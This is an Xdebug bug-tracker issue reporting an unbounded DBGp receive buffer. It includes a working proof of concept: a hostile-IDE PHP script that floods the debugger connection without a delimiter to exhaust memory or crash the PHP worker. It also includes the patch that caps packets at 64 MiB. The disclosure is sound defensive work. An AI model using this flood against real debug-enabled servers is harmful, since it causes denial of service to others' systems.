View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0002422 | Xdebug | Step Debugging | public | 2026-05-19 23:56 | 2026-06-08 14:36 |
| Reporter | ilia | Assigned To | derick | ||
| Priority | normal | Severity | minor | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | 3.5.1 | ||||
| Target Version | 3.5dev | Fixed in Version | 3.5.3 | ||
| Summary | 0002422: No limit on DBGP read buffer | ||||
| Description |
Fix: cap at 64 MiB ( | ||||
| Steps To Reproduce |
Patched: connection closed at the cap, victim runs to completion. | ||||
| Tags | No tags attached. | ||||
| Attached Files | run.sh (1,897 bytes)
#!/usr/bin/env bash
# XD-002 PoC orchestrator.
PHP=${PHP:-/home/ilia/php-src-8.4/sapi/cli/php}
XDEBUG_SO=${XDEBUG_SO:-/home/ilia/xdebug/modules/xdebug.so}
ATTACKER_PHP=${ATTACKER_PHP:-php}
DBGP_PORT=${DBGP_PORT:-9003}
# Override to a smaller value (e.g. 60) when running against an
# UNPATCHED xdebug to observe the unbounded growth without burning
# 10+ minutes of wall clock.
VICTIM_TIMEOUT=${VICTIM_TIMEOUT:-900}
set -u
HERE=$(dirname "$0")
if [ ! -x "$PHP" ]; then echo "PHP=$PHP not executable"; exit 2; fi
if [ ! -f "$XDEBUG_SO" ]; then echo "XDEBUG_SO=$XDEBUG_SO not found"; exit 2; fi
if ! command -v "$ATTACKER_PHP" >/dev/null; then
echo "ATTACKER_PHP=$ATTACKER_PHP not found in PATH"; exit 2
fi
ATK_OUT=$(mktemp)
VIC_OUT=$(mktemp)
trap 'rm -f "$ATK_OUT" "$VIC_OUT"' EXIT
echo "spawning hostile IDE attacker on :$DBGP_PORT ..."
"$ATTACKER_PHP" "$HERE/attacker.php" "$DBGP_PORT" >"$ATK_OUT" 2>&1 &
ATK=$!
sleep 1
echo "spawning victim (start_with_request=yes, client_port=$DBGP_PORT) ..."
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:halt_on_error=0:print_stacktrace=1 \
timeout "$VICTIM_TIMEOUT" \
"$PHP" \
-d zend_extension="$XDEBUG_SO" \
-d xdebug.mode=debug \
-d xdebug.start_with_request=yes \
-d xdebug.client_host=127.0.0.1 \
-d xdebug.client_port="$DBGP_PORT" \
-d memory_limit=512M \
"$HERE/victim.php" \
>"$VIC_OUT" 2>&1
wait $ATK 2>/dev/null
echo
echo "---attacker output---"
cat "$ATK_OUT"
echo
echo "---victim output---"
cat "$VIC_OUT"
echo
echo "Interpretation:"
echo " PATCHED build: attacker stops at ~64 MiB cleanly. victim prints 'victim alive' and exits 0. no ASan reports."
echo " UNPATCHED build: victim consumes attacker bytes without bound. on a sufficiently long run (~10 min to reach"
echo " 2 GiB / int overflow) the victim crashes; with memory_limit hit before that it dies on OOM."
victim.php (400 bytes)
<?php /* XD-002 PoC victim. Any PHP script works -- with * xdebug.start_with_request=yes xdebug connects out to the IDE at * RINIT and blocks in the recv loop awaiting the first DBGp command. * The script body never runs (and never needs to) for the bug to * fire; we keep this minimal so the victim survives long enough for * the attacker to flood the cap. */ echo "victim alive\n"; sleep(1); attacker.php (2,091 bytes)
<?php
/* XD-002 PoC attacker. Hostile IDE: accepts xdebug's outbound
* connect, eats the init packet, then streams bytes without ever
* sending the \0 delimiter that xdebug_fd_read_line_delim waits for.
*
* Pre-fix behavior: xdebug realloc()s context->buffer unbounded;
* once buffer_size + newl + 1 overflows the signed int field
* (~ 2 GiB on 64-bit), realloc receives a sign-extended size and
* either truncates or returns NULL; the unchecked return is then
* passed to memcpy → NULL deref or short-write OOB.
*
* Post-fix behavior: xdebug closes the connection at the
* XDEBUG_DBGP_MAX_PACKET cap (64 MiB by default in the patch).
* The PHP worker survives.
*
* Listen address: 127.0.0.1:9003 (matches xdebug.client_port default).
* Edit if your test config uses a different port.
*/
$port = (int) ($argv[1] ?? 9003);
$srv = stream_socket_server("tcp://127.0.0.1:$port", $errno, $errstr);
if (!$srv) {
fwrite(STDERR, "listen failed on :$port -- $errstr ($errno)\n");
exit(1);
}
echo "hostile IDE listening on :$port\n";
$conn = @stream_socket_accept($srv, 30);
if (!$conn) {
fwrite(STDERR, "accept timeout / no connect from victim\n");
exit(2);
}
echo "victim connected from " . stream_socket_get_name($conn, true) . "\n";
stream_set_timeout($conn, 5);
$init = '';
while (($b = fread($conn, 1)) !== '' && $b !== false) {
$init .= $b;
if ($b === "\0") break;
}
echo "ate init packet (" . strlen($init) . " bytes)\n";
echo "streaming payload with no NUL delimiter (watch victim memory)...\n";
$chunk = str_repeat('A', 65536);
$sent = 0;
$start = microtime(true);
$cap_probe = 128 * 1024 * 1024; /* go up to 128 MiB; cap is 64 MiB */
while ($sent < $cap_probe) {
$n = @fwrite($conn, $chunk);
if ($n === false || $n === 0) {
echo "fwrite returned $n at sent=" . round($sent / 1048576, 2) . " MiB after " . round(microtime(true) - $start, 2) . "s\n";
break;
}
$sent += $n;
}
echo "total sent: " . round($sent / 1048576, 2) . " MiB in " . round(microtime(true) - $start, 2) . "s\n";
fclose($conn);
fclose($srv);
xd002_fix.patch (1,306 bytes)
diff --git a/src/debugger/handler_dbgp.c b/src/debugger/handler_dbgp.c
index c6fadffa..c687132f 100644
--- a/src/debugger/handler_dbgp.c
+++ b/src/debugger/handler_dbgp.c
@@ -2434,6 +2434,7 @@ static int xdebug_dbgp_parse_option(xdebug_con *context, char* line, int flags,
** Handlers for debug functions
*/
#define READ_BUFFER_SIZE 128
+#define XDEBUG_DBGP_MAX_PACKET (64 * 1024 * 1024)
#define FD_RL_FILE 0
#define FD_RL_SOCKET 1
@@ -2460,7 +2461,22 @@ static char* xdebug_fd_read_line_delim(int socketfd, fd_buf *context, int type,
newl = recv(socketfd, buffer, READ_BUFFER_SIZE, 0);
}
if (newl > 0) {
- context->buffer = realloc(context->buffer, context->buffer_size + newl + 1);
+ char *new_buffer;
+
+ if (context->buffer_size > XDEBUG_DBGP_MAX_PACKET - newl - 1) {
+ free(context->buffer);
+ context->buffer = NULL;
+ context->buffer_size = 0;
+ return NULL;
+ }
+ new_buffer = realloc(context->buffer, context->buffer_size + newl + 1);
+ if (!new_buffer) {
+ free(context->buffer);
+ context->buffer = NULL;
+ context->buffer_size = 0;
+ return NULL;
+ }
+ context->buffer = new_buffer;
memcpy(context->buffer + context->buffer_size, buffer, newl);
context->buffer_size += newl;
context->buffer[context->buffer_size] = '\0';
| ||||
| Operating System | |||||
| PHP Version | 8.4.10-8.4.19 | ||||
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2026-05-19 23:56 | ilia | New Issue | |
| 2026-05-19 23:56 | ilia | File Added: run.sh | |
| 2026-05-19 23:56 | ilia | File Added: victim.php | |
| 2026-05-19 23:56 | ilia | File Added: attacker.php | |
| 2026-05-19 23:56 | ilia | File Added: xd002_fix.patch | |
| 2026-05-20 16:34 | ilia | Description Updated | |
| 2026-05-20 16:34 | ilia | Steps to Reproduce Updated | |
| 2026-05-20 16:34 | ilia | Additional Information Updated | |
| 2026-05-20 16:38 | ilia | Description Updated | |
| 2026-05-27 15:42 | derick | Status | new => assigned |
| 2026-05-27 15:42 | derick | Product Version | => 3.5.1 |
| 2026-05-27 15:42 | derick | Target Version | => 3.5dev |
| 2026-05-27 15:42 | derick | Summary | DBGp recv buffer: unbounded realloc + signed-int overflow + unchecked realloc return => No limit on DBGP read buffer |
| 2026-05-27 15:42 | derick | Note Added: 0007500 | |
| 2026-05-27 17:06 | derick | Assigned To | => derick |
| 2026-05-27 17:06 | derick | Status | assigned => closed |
| 2026-05-27 17:06 | derick | Resolution | open => fixed |
| 2026-05-27 17:06 | derick | Fixed in Version | => 3.5dev |
| 2026-06-08 13:44 | derick | Category | Uncategorized => Step Debugging |
| 2026-06-08 13:44 | derick | View Status | private => public |
| 2026-06-08 14:28 | derick | Fixed in Version | 3.5dev => 3.5.2 |
| 2026-06-08 14:36 | derick | Fixed in Version | 3.5.2 => 3.5.3 |